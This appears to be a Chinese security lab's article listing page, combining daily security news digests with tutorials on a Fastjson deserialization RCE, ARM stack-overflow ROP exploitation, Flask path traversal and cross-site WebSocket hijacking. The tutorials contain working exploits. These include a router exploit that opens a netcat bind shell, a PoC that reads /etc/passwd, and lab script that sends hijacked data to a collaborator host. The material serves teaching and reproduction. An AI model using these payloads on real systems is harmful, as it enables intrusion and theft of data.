Fastjson 代码执行 CVE-2022-25845
漏洞简介   Fastjson 代码执行漏洞,该漏洞允许攻击者绕过 Fastjson 中的"AutoTypeCheck"机制并实现远程代码执行   影响版本:1.2.80及以下版本,即<= 1.2.80 漏洞复现   我们利用 idea 创建 maven 项目 搭建漏洞环境,在 pom 文件中添加 <dependency>    <groupId>com.alibaba</groupId>    <artifactId>fastjson</artifactId>    <version>1.2.82</version> </dependency>   创建文件夹 com.example.fastjson   在下面添加两个 java 文件 package com.example.fastjson; import java.io.IOException; public class Poc extends Exception {    public void setName(String str) {        try {            Runtime.getRuntime().exec(str);       } catch (IOException e) {            e.printStackTrace();       }   } }    package com.example.fastjson; import com.alibaba.fastjson.JSON; public class PocDemo {    public static void main(String[] args) {        String json = "{\"@type\":\"java.lang.Exception\",\"@type\":\"com.example.fastjson.Poc\",\"name\":\"calc\"}";        JSON.parse(json);   } }   运行 PocDemo 漏洞分析 AutoType   我们知道在 fastjson 1.2.25 后设定了 https://github.com/alibaba/fastjson/wiki/enable_autotype 只有打开 autoType之后,fastjson 是基于内置黑名单来实现安全的,如此可能会造成安全风险,就是绕过https://github.com/LeadroyaL/fastjson-blacklist?_gl=1*1ucxjwe*_ga*MjEyMjY1NzU2My4xNjU3ODUyMDU3*_ga_SQ1NR9VTFJ*MTY1ODIxMjQxMy40LjEuMTY1ODIxMjQ2My4xMA..   不开启时,是基于白名单进行防护的,这个漏洞的产生就是未开启 autoType 时产生的。   但是未开启 autoType 时是基于白名单,是很难实现代码执行的,所以我们就需要想办法 Bypass AutoType 默认禁用策略,可以实现调用任意类   开启 autoType 后,最终调用的是 config.checkAutoType   com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)   其中声明了各种被黑名单列入的类,是通过十六进制来记录各种类,可以在 https://github.com/LeadroyaL/fastjson-blacklist?_gl=1*frgjs5*_ga*MjEyMjY1NzU2My4xNjU3ODUyMDU3*_ga_SQ1NR9VTFJ*MTY1ODIxMjQxMy40LjEuMTY1ODIxMjQ2My4xMA..,看到具体类的名称 Throwable   我们注意到在 com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze 中也同样调用了 checkAutoType   同时我们可以发现在 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) 会检测目标类中是否属于Throwable 的扩展,之后就会调用 ThrowableDeserializer.deserialize()   所以初步得出结论,如果目标类属于 Throwable 的扩展类,就可以实现打开autoType的类似操作,去调用任何类   为了验证这个猜测,我们修改一下文件 package com.example.fastjson; import java.io.IOException; public class Poc extends Error {    public void setName(String str) {        try {            Runtime.getRuntime().exec(str);       } catch (IOException e) {            e.printStackTrace();       }   } }   依然可以利用成功   继续关注函数 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) 会调用 createException 去创建反序列化函数   com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#createException   最后还是在函数 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) 中实现了代码执行   如此整个漏洞就分析完成了 漏洞修复   官方提供了以下四种https://github.com/alibaba/fastjson/wiki/security_update_20220523   ● 升级到最新版本1.2.83   ● safeMode加固   ● 升级到fastjson v2   ● noneautotype版本 总结反思   整个漏洞的分析花了很多时间,根据参考文章 https://jfrog.com/blog/cve-2022-25845-analyzing-the-fastjson-auto-type-bypass-rce-vulnerability/ 来来回回加断点调试了很久。对这个漏洞做一个自己的总结。在默认未开启 AutoType 时,Fastjson 是基于白名单的获取外部类,通过 搜索checkAutoType 发现ThrowableDeserializer#deserialze 中的调用,当然也不止这一处,只是这处能进一步的利用,通过满足类属于 Throwable 的扩展类就可以触发,最后实现代
网络安全日报 2022年07月21日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Google 在 Android 中引入 DNS-over-HTTP/3 https://www.securityweek.com/google-introduces-dns-over-http3-android 2、Apple 为 macOS、iOS 发布紧急安全补丁 https://www.securityweek.com/apple-ships-urgent-security-patches-macos-ios 3、Nubeva 正在开发基于密钥拦截技术的勒索加密数据恢复技术 https://www.securityweek.com/can-encryption-key-intercepts-solve-ransomware-epidemic 4、Chrome 103 更新补丁修复高危漏洞 https://www.securityweek.com/chrome-103-update-patches-high-severity-vulnerabilities 5、新的基于Rust的Luna 勒索软件针对 Windows、Linux 和 ESXi 系统 https://securityaffairs.co/wordpress/133454/cyber-crime/luna-ransomware-rust.html 6、建材巨头可耐福遭到 Black Basta 勒索软件攻击 https://www.bleepingcomputer.com/news/security/building-materials-giant-knauf-hit-by-black-basta-ransomware-gang/ 7、Linus Torvalds称 Linux 内核已经解决了"Retbleed"问题 https://www.theregister.com/2022/07/17/linux_5_19_rc7/ 8、FBI将全面升级网络基础设施,拥抱SD-WAN和SASE https://www.secrss.com/articles/44814 9、公安部网安局召开全国网安部门“百日行动”推进会 https://mp.weixin.qq.com/s/sKrHNBeLwlotHJXk-bC4YQ 10、新文件显示美国政府的手机定位数据追踪规模“巨大”,远超之前的认知 https://www.cnbeta.com/articles/tech/1293871.htm
网络安全日报 2022年07月20日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、微软解决了 Azure Storage SDK 中的 Padding Oracle 漏洞 https://www.securityweek.com/microsoft-resolves-padding-oracle-vulnerability-azure-storage-sdk 2、广泛使用的 Micodus GPS跟踪器存在严重漏洞允许黑客远程禁用汽车 https://www.securityweek.com/unpatched-micodus-gps-tracker-vulnerabilities-allow-hackers-remotely-disable-cars 3、研究人员发现隐藏多年的macOS 间谍软件-"CloudMensis" https://www.securityweek.com/new-cloudmensis-macos-spyware-used-targeted-attacks 4、APT29 利用 Google Drive、Dropbox 来逃避检测 https://securityaffairs.co/wordpress/133409/apt/apt29-google-drive-dropbox.html 5、新的气隙攻击使用 SATA 电缆作为天线传输无线电信号 https://thehackernews.com/2022/07/new-air-gap-attack-uses-sata-cable-as.html 6、FBI 警告虚假加密货币应用程序正在欺骗数百万投资者 https://threatpost.com/fbi-warns-fake-crypto-apps/180245/ 7、印度旅游预订平台 Cleartrip 确认数据泄露 https://techcrunch.com/2022/07/18/cleartrip-data-breach-dark-web/ 8、Blitz.js中的原型污染漏洞可能导致远程代码执行 https://portswigger.net/daily-swig/prototype-pollution-in-blitz-js-leads-to-remote-code-execution 9、Accusoft ImageGear 中的安全问题可能导致内存损坏、代码执行 https://blog.talosintelligence.com/2022/07/accusoft-vuln-spotlight-.html 10、UNI token空投钓鱼攻击成功窃取Uniswap 800万美元 https://www.4hou.com/posts/MB9G
ARM PWN基础教程
一、前言 在CTF比赛中,我们所能接触到的大部分都是x86 x86_64架构的题目,而在我开始接触IOT方向的研究以后发现智能设备所用到的则是ARM和MIPS架构为主。本篇文章在介绍前置知识的基础上通过CTF的ARM架构类型题带读者更好的入门ARM PWN的世界。 二、前置知识 指令集 Intel和ARM之间的区别主要是指令集,Intel采用复杂指令集而ARM则是精简指令集,精简指令集通过减少每条指令的时钟周期来缩短执行时间可以更快的执行指令,但因为指令较少因此在实现功能时会显得比Intel冗长。 寄存器 寄存器是ARM架构的一个重点,在x86架构上指令可以直接对内存的数据进行操作,而在ARM架构中必须将内存的数据放入寄存器中再进行操作。而寄存器的数量取决于ARM的版本,而ARM32架构下共30个寄存器: R0在常规操作中可用于存储临时值,也可以用于存储函数的第一个参数或返回结果 在ARM架构中约定指定函数前四个参数存储在R0~R3寄存器中 R7寄存器在函数调用中负责存储系统调用号 R11寄存器即可以用来记录回溯信息,也可以当做局部变量来使用 R13寄存器SP(堆栈指针)指向堆栈的顶部 R14寄存器LR(链接寄存器)在进行函数调用时,LR寄存器内保存调用函数的下一条指令地址,用于被调用函数(子函数)结束工作后返回调用函数(父函数) R15寄存器PC(程序计数器)类似于X86架构下的EIP寄存器负责保存目标地址,与x86不同的点在于PC在ARM状态下存储当前指令+8的地址。 ARM指令 这里引用 eack师傅在ARM基础知识PPT中所列出指令的表格,在有了X86架构的基础后去看下面这些指令还是很好理解的。 指令功能指令功能MOV移动数据EOR按位异或MVN移动数据并取反LDR加载ADD加法STR存储SUB减法LDM加载多个MUL乘法STM存储多个LSL逻辑左移PUSH入栈LSR逻辑右移POP出栈ASR算术右移B跳转ROR右旋BLLink+跳转CMP比较BX分支跳转AND按位与BLXLinx+分支跳转ORR按位或SWI/SVC系统调用 这里需要单独介绍一下LDR和STR两个指令 LDR用于将某些内容从内存加载到寄存器中,例如LDR R2, [R0]从R0寄存器中存储的内存地址的值读入R2寄存器 STR用于将某些内容从寄存器存储到内存地址中,例如STR R2, [R1]从R2寄存器中将值存储到R1寄存器中的内存地址中 三、例题讲解 这里以jarvisoj 的 typo 例题进行讲解,题目可通过下方链接获得   https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/arm/jarvisOJ_typo/typo 查看题目保护,arm-32-little架构的静态链接文件未开启PIE和Canary保护,存在NX保护无法同时写入shellcode来getshell amalll@A-M:~/AM$ checksec pwn [*] '/home/amalll/AM/pwn'   Arch:     arm-32-little   RELRO:   Partial RELRO   Stack:   No canary found   NX:       NX enabled   PIE:     No PIE (0x8000) amalll@A-M:~/AM$ file pwn pwn: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped 因为程序去除了符号表的关系,我们可以使用rizzo插件来恢复符号表,可以从程序中发现system和/bin/sh等关键信息地址,同时在跟随程序流程注意到一处很明显的栈溢出漏洞,getshell所需的条件都满足了。 这边的利用思路就是通过栈溢出漏洞覆盖程序的返回地址,在ARM架构下是覆盖要POP给PC寄存器的地址值,覆盖为一段可以同时控制R0和PC寄存器的GADGET,因为在ARM架构下函数约定R0寄存器作为函数的第一个参数存储,所以我们可以控制R0寄存器指向/bin/sh地址,PC寄存器指向system函数的地址,即可GetShell。 +-------------+ | "a" * 112   | +-------------+ | pop_gadget | <- return address +-------------+ |   /bin/sh   | +-------------+ |     0       | +-------------+ | system_addr | +-------------+ 思路确定后,接下来就是具体的实现步骤,首先是栈溢出的偏移是多少,这里我们可以使用QEMU配合gdb-multiarch来得到栈溢出的偏移,首先用qemu-user启动二进制程序 qemu-arm-static -g 1234 -L . ./pwn 然后启动gdb-multiarch,执行远程连接命令即可开始动调,后面的操作方式和x86架构的相同,使用cyclic生成过长字符然后通过溢出覆盖字符串确定偏移 最后确定偏移为112,这里需要注意的是在ARM架构中如果跳转的地址为奇数时会进入Thumb模式,进入Thumb模式后地址的最低位会从1变成0,所以如果通过此方法算出的地址值有错误时,可以通过查看$cpsr寄存器的低第六位值是否为1来判断程序是否发生模式切换,而此处程序并未发生模式切换,所以最终我们的偏移就是112。 确定了偏移后,还需要一个可以同时可以控制R0和PC的gadget,这里使用ropper在程序中搜索到如下的一段gadget 0x00020904: pop {r0, r4, pc}; EXP from pwn import * p = process(['qemu-arm-static',"-L", "./", "./pwn"]) pop_r0_r4_pc = 0x00020904 system = 0x000110B4 sh = 0x006C384 payload = 'a'*112+p32(pop_r0_r4_pc)+p32(sh)+p32(0)+p32(system) p.sendafter("Input ~ if you want to quit", "\n") p.send(payload) p.interactive() 四、实战演示 这边以CVE-2022-30476为例进行实战arm栈溢出利用演示,关于固件仿真的部分内容在复现Tenda 2018年的cve漏洞时就有所介绍这边就不过多赘述,这边还是以实际情况的漏洞复现为主。 web服务在获取firmwallEn参数时未进行边界检测直接将参数值通过strcpy函数赋予dest变量,从而造成栈溢出漏洞。 我们通过cyclic测得栈溢出偏移为44,这里就涉及到我们刚才所说的Thumb模式切换的问题,实际的溢出偏移应为48。随后我们可以使用vmmap命令查看qemu-user的内存布局,可以得到libc库的基地址。 这边需要特别说明一下,新版本的pwndbg中关于qemu的兼容性较差,所以只能采用旧版本的插件进行内存布局查看。 与我们在ctf例题中所阐述的ROP构造思路相同,这里也是需要寻找能同时控制r0和pc两个寄存器的gadget,很幸运的是此次寻找的gadget并未以\x00结尾 凑齐所有的利用条件后,编写EXP对webserver服务进行栈溢出攻击 import requests from pwn import * url = 'http://192.168.2.1/goform/SetFirewallCfg' libc = ELF("./lib/libc.so.0") base = 0xff592000 system = base+libc.sym['system'] pop_r0_pc = base+0x0003db80 # pop {r0, pc}; stack = 0xfffef2c0 pl = 'a'*48+p32(pop_r0_pc)+p32(stack)+p32(system) pl+= 'nc -lp 8888 -e /bin/sh;\x00' data = {'firewallEn':pl} requests.post(url, data=data) 推荐实验: https://www.yijinglab.com/expc.do?ce=682a3471-bce7-4d12-b9db-b25df36b1246
网络安全日报 2022年07月19日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Juniper 修复了200多个第三方组件漏洞 https://www.securityweek.com/juniper-networks-patches-over-200-third-party-component-vulnerabilities 2、阿尔巴尼亚政府遭大规模网络攻击 https://securityaffairs.co/wordpress/133363/cyber-warfare-2/albania-cyber-attack.html 3、研究人员发布Windows NFS 远程代码执行漏洞分析报告 https://securityaffairs.co/wordpress/133355/security/cve-2022-30136-windows-nfs-rce.html 4、FPL 增加2FA缓解账号被黑客接管的安全风险 https://portswigger.net/daily-swig/fantasy-premier-league-football-app-introduces-2fa-to-tackle-account-takeover-hacks 5、黑客通过欺骗性提交元数据创建恶意GitHub存储库 https://www.hackread.com/hackers-spoof-commit-metadata-false-github-repositories/ 6、研究人员发现西门子解决方案中存在多个零日漏洞 https://www.fortinet.com/blog/threat-research/fortinet-researchers-discover-vulnerabilities-in-siemens-solutions 7、加拿大蒙莫伦西学院遭到网络攻击导致数据泄露 https://www.zataz.com/le-college-canadien-montmorency-sous-les-coups-dune-fuite-de-donnees/ 8、公安机关网安部门:重拳打击窃听窃照及偷拍偷窥违法犯罪 https://www.ithome.com/0/629/618.htm 9、 调查:智慧工厂未做好网络攻击应对准备 https://www.secrss.com/articles/44717 10、科技公司纷纷反对,英国网络安全法案搁置 https://www.cnbeta.com/articles/tech/1292687.htm
Flask send_file函数导致的绝对路径遍历
平时接触到的 python 项目并不多,对 python 的代码审计更是没有接触,偶然朋友发来了一个漏洞 Flask send_file函数导致的绝对路径遍历 ,感觉打开了新世界的大门,于是就以一个初学者的角度,进行复现分析一下。详情也可以根据 https://github.com/github/securitylab/issues/669 进行分析学习 send_file 的妙用 在以 flask 框架开发的系统中,为了直接实现用户访问某一个 URL 时就可以下载到文件,我们就使用 send_file 来实现 from flask import Flask from flask import send_file app = Flask(__name__) @app.route('/download') def downloadFile():    path = "test.txt"    return send_file(path) if __name__ == '__main__':    app.run() 我们看到 如此运行的效果是直接返回了文件的内容,浏览器并没有识别成一个文件下载下来。 要想让浏览器识别成为文件下载的话,只需要加上 as_attachment=True from flask import Flask from flask import send_file app = Flask(__name__) @app.route('/download') def downloadFile():    path = "test.txt"    return send_file(path, as_attachment=True) if __name__ == '__main__':    app.run()       当下载的文件名是中文时 from flask import Flask from flask import send_file app = Flask(__name__) @app.route('/download') def downloadFile():    path = "测试.txt"    return send_file(path, as_attachment=True) if __name__ == '__main__':    app.run()    Content-Disposition: https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Disposition在常规的 HTTP 应答中,Content-Disposition 响应头指示回复的内容该以何种形式展示,是以内联的形式(即网页或者页面的一部分),还是以附件的形式下载并保存到本地。其可以是inline(默认值,所以可以不指定)或者是attachment,attachment表示附件,浏览器看到这个值一般会弹出一个保持文件的确认框,或者像chrome直接下载。    漏洞分析 漏洞的触发是在 send_file 中,我们跟进看一下 flask.helpers.send_file 继续跟进查看 werkzeug.utils.send_file 我们在本地构造一个简单的语句进行尝试 >>> import os.path >>> _root_path = "path/to/mySafeStaticDir" >>> path_or_file = "/../../../../../../../etc/passwd" >>> os.path.join(_root_path,path_or_file) '/../../../../../../../etc/passwd' 我们发现 os.path.join 使用不受信任的输入调用时不安全的。当 os.path.join 调用遇到绝对路径时,它会忽略在该点之前遇到的所有参数并开始使用新的绝对路径。当参数可控时,我们控制恶意参数输入绝对路径,os.path.join 会完全忽略静态目录。所以,当 os.path.join 来获取来自 flask.send_file 的不受信任的输入时,可能会目录遍历攻击。 漏洞复现 我们在本地构造简单的代码进行测试,获取从外部传入的参数 filename from flask import Flask, request from flask import send_file app = Flask(__name__) @app.route('/download') def downloadFile():    filename = request.args.get('filename')    return send_file(filename, as_attachment=True) if __name__ == '__main__':    app.run() 通过控制 filename 为绝对路径,就实现了目录穿越漏洞    总结反思 这个漏洞非常的有趣,漏洞的修复是可以使用flask.safe_join加入不受信任的路径或用flask.send_file调用替换flask.send_from_directory调用。 这个漏洞虽然很简单,但是在 github 上很多用 python 开发的项目都用了这个函数,如果不加以修复,会造成很大的危害。
网络安全日报 2022年07月18日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、'Mantis' DDoS 僵尸网络在一个月内攻击了1000多个组织 https://www.securityweek.com/powerful-mantis-ddos-botnet-hits-1000-organizations-one-month 2、Google Play将删除"应用程序权限列表"以添加新的"数据安全"部分 https://thehackernews.com/2022/07/google-removes-app-permissions-list.html 3、流行的 NFT 平台 Premint NFT 被窃取了 314 个 NFT https://securityaffairs.co/wordpress/133339/cyber-crime/crooks-stole-375k-from-premint-nft-it-is-one-of-the-biggest-nft-hacks-ever.html 4、Netwrix Auditor 应用程序中的严重漏洞允许任意代码执行 https://securityaffairs.co/wordpress/133310/hacking/netwrix-auditor-flaw.html 5、圣灵勒索软件 (H0lyGh0st) 与朝鲜黑客有关 https://securityaffairs.co/wordpress/133255/hacking/holy-ghost-ransomware-north-korea.html 6、黑客利用 Digium 电话软件中的漏洞攻击 VoIP 服务器 https://securityaffairs.co/wordpress/133293/hacking/digium-phones-attacks.html 7、软件供应商开始修补 Retbleed CPU 漏洞 https://www.securityweek.com/software-vendors-start-patching-retbleed-cpu-vulnerabilities 8、新的缓存侧通道攻击可以对目标在线用户进行去匿名化 https://thehackernews.com/2022/07/new-cache-side-channel-attack-can-de.html 9、美国DHS 发布关于 Log4j 漏洞和响应的报告,漏洞影响可能会持续数年 https://www.infosecurity-magazine.com/news/dhs-report-log4j-vlnerabilities/ 10、密码破解工具部署Sality恶意软件感染工业系统 https://www.bleepingcomputer.com/news/security/password-recovery-tool-infects-industrial-systems-with-sality-malware/
浅析websocket劫持
声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。 WebSocket劫持漏洞导读 WebSocket协议技术 WebSocket是HTML5推出的新协议,是基于TCP的应用层通信协议,它与http协议内容本身没有关系。WebSocket 也类似于 TCP 一样进行握手连接,跟 TCP 不同的是,WebSocket 是基于 HTTP 协议进行的握手,它在客户端和服务器之间提供了一个基于单 TCP 连接的高效全双工通信信道 websocket是持久化的协议,而http是非持久的 当通信协议从 http://或 https://切换到 ws://或 wss://后,表示应用已经切换到了WebSocket协议通信状态 WebSocket连接的建立需要经过连接请求、握手、连接建立三个步骤,如下图   建立WebSocket连接 WebSocket连接通常是使用客户端JavaScript创建的 var ws = new WebSocket("wss://normal-website.com/chat"); //该`wss`协议建立在一个加密的TLS连接的WebSocket,而`ws`协议使用未加密的连接。 为了建立连接,浏览器和服务器通过HTTP执行WebSocket握手。浏览器发出WebSocket握手请求,如下所示: GET /chat HTTP/1.1 Host: normal-website.com Sec-WebSocket-Version: 13 Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w== Connection: keep-alive, Upgrade Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2 Upgrade: websocket 如果服务器接受连接,则它将返回WebSocket握手响应,如下所示: HTTP/1.1 101 Switching Protocols Connection: Upgrade Upgrade: websocket Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk= 此时,网络连接保持打开状态,并且可以用于向任一方向发送WebSocket消息。 请求和响应中 的Connection和Upgrade标头表示这是WebSocket握手 WebSocket安全漏洞 原则上,由于WebSocket涉及多个层面,任何与WebSocket有关的web安全漏洞都有可能出现 • 传输到服务器的用户的输入以不安全方式处理,出现SQL注入或XML外部实体注入等 • 通过WebSockets达到的某些盲洞(blind vulnerabilities)可能仅可使用带外(OAST)技术才能检测到 • 如果攻击者控制的数据通过WebSockets传输到其他应用程序用户,则可能导致XSS或其他客户端漏洞   本文主要讲探讨的是跨站WebSocket劫持漏洞-CSWSH 跨站WebSocket劫持漏洞 什么是跨站WebSocket劫持漏洞 Websocket带来的安全特性在一定程度上缓解了一些特性的攻击,但在日渐发展的攻击方式下,其相关漏洞也不断曝光,其中最常见的漏洞是CSWSH(Cross-Site WebSocket Hijacking)跨站WebSocket劫持漏洞 我们可以看见WebSocket的链接过程与http是极其相似的,WebSocket协议在握手阶段是基于HTTP的。它在握手期间是没有规定服务器如何验证客户端的身份,因此,服务器需要采用http客户端认证机制来辨明身份,如常见的cookie、http头基本认证等。这就导致了容易被攻击者利用恶意网页伪装用户的身份,与服务器建立WebSocket连接 CSWSH与跨站请求伪造CSRF的漏洞原理极其类似  相较于CSRF漏洞只能发送伪造请求,跨站WebSocket劫持漏洞却可以建立了一个完整的读/写双向通道,且不受同源策略的限制,这在很大意义上都造成了更大的危害和可操作性 跨站WebSocket劫持漏洞可能带来的影响 • 执行伪造成用户的未授权操作 与常规CSRF类似,攻击者可以伪造成用户利用生成的WebSocket通道以执行一些敏感操作 • 检索用户可访问的敏感数据 与常规CSRF不同的时,CSWSH是建立一个可双向交互的通道,当客户端向用户发送敏感数据时,攻击者可以将其拦截并记录得到敏感信息 跨站WebSocket劫持漏洞靶场演示 靶机环境 • 靶场  借助于burpsuite练兵场  https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking/lab• 浏览器环境  edge浏览器 靶场解析 • 点击启动靶场    • 观察发现存在实时聊天界面,观察发现没有CSRF的令牌 • 将代码复制到body  <script>   var ws = new WebSocket('wss://your-websocket-url');   ws.onopen = function() {     ws.send("READY");   };   ws.onmessage = function(event) {     fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});   }; </script> • wss://your-websocket-url替换成目前url • https://your-collaborator-url替换成Burp Collaborator Client或自己搭建的Burp Collaborator 服务器 • 可以点击view exploit测试,也可以直接发给攻击方  • 然后在Burp Collaborator Client多poll几下 • 翻看一下得到账号密码  然后我选择再用dnslog验证一遍     确实可以带出数据,执行敏感操作 如何防范跨站WebSocket劫持漏洞 • 校验Origin头 • 双向将WebSocket传输数据视为不可信 • 对WebSocket握手信息进行加密保护 • 硬编码WebSockets终结点的URL 参考文章 • https://portswigger.net/web-security/websockets • https://zhuanlan.zhihu.com/p/347738547
网络安全日报 2022年07月15日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、日本电子游戏发行商万代南梦宫确认遭网络攻击 https://www.securityweek.com/japanese-video-game-publisher-bandai-namco-confirms-cyberattack 2、前 CIA 程序员因 2017 年将"Vault 7"泄露给维基解密被定罪 https://www.securityweek.com/cia-coder-convicted-massive-leak-us-hacking-tools 3、微软发布 macOS App 沙盒逃逸漏洞(CVE-2022-26706)的PoC https://securityaffairs.co/wordpress/133211/hacking/macos-sandbox-bypass-exploit.html 4、Cloudflare缓解的6 月最大HTTPS DDoS 攻击是由Mantis 僵尸网络发起的 https://securityaffairs.co/wordpress/133233/hacking/mantis-botnet-record-ddos-attack.html 5、SAP 修补 Business One 产品中的高危漏洞 https://www.securityweek.com/sap-patches-high-severity-vulnerabilities-business-one-product 6、研究人员开发并发布了 Hive 勒索软件解密工具 https://www.techtarget.com/searchsecurity/news/252522715/Researcher-develops-Hive-ransomware-decryption-tool 7、澳大利亚迪肯大学遭到黑客入侵导致学生信息泄露 https://blogs.deakin.edu.au/deakinlife/2022/07/12/deakin-has-been-targeted-in-a-cyber-attack-this-week-heres-what-happened-and-what-you-should-do/ 8、 QQ安全中心揭秘新的盗号手段:利用好友互助渠道与同情心 https://www.cnbeta.com/articles/tech/1291505.htm 9、Retbleed推测性执行攻击缓解代码已并入Linux内核 https://www.cnbeta.com/articles/tech/1291757.htm 10、WPS 回应删除用户本地文件事件,重申不会侵犯用户隐私 https://www.ithome.com/0/629/303.htm
网络安全日报 2022年07月14日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、联想修补了影响700多款型号笔记本电脑的 UEFI 代码执行漏洞 https://www.securityweek.com/lenovo-patches-uefi-code-execution-vulnerability-affecting-many-laptops 2、微软发布用于生成 SBOM (软件材料清单)的开源工具包 https://www.securityweek.com/microsoft-releases-open-source-toolkit-generating-sboms 3、新的推测性执行攻击-Retbleed影响英特尔和AMD处理器 https://www.securityweek.com/retbleed-new-speculative-execution-attack-targets-intel-amd-processors 4、微软警告针对 10,000 多个组织的大规模 AiTM 网络钓鱼攻击 https://thehackernews.com/2022/07/microsoft-warns-of-large-scale-aitm.html 5、研究人员发现了 ChromeLoader 浏览器劫持恶意软件的新变种 https://thehackernews.com/2022/07/researchers-uncover-new-variants-of.html 6、研究人员发现了 Qakbot 恶意软件逃避检测的新手段 https://thehackernews.com/2022/07/researchers-uncover-new-attempts-by.html 7、立陶宛能源公司Ignitis集团遭到大规模DDOS攻击 https://www.infosecurity-magazine.com/news/lithuanian-energy-ddos-attack/ 8、迪士尼Instagram和Facebook帐户被黑,并被攻击者发布恶意内容 https://www.infosecurity-magazine.com/news/disneylands-instagram-facebook-hack/ 9、VMware修补了11月披露的vCenter Server高危提权漏洞 https://www.bleepingcomputer.com/news/security/vmware-patches-vcenter-server-flaw-disclosed-in-november/ 10、AWS 修复了其Kubernetes服务中的身份验证漏洞 https://www.theregister.com/2022/07/12/authentication_bug_aws_kubernetes
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页 第212页 第213页 第214页 第215页 第216页 第217页 第218页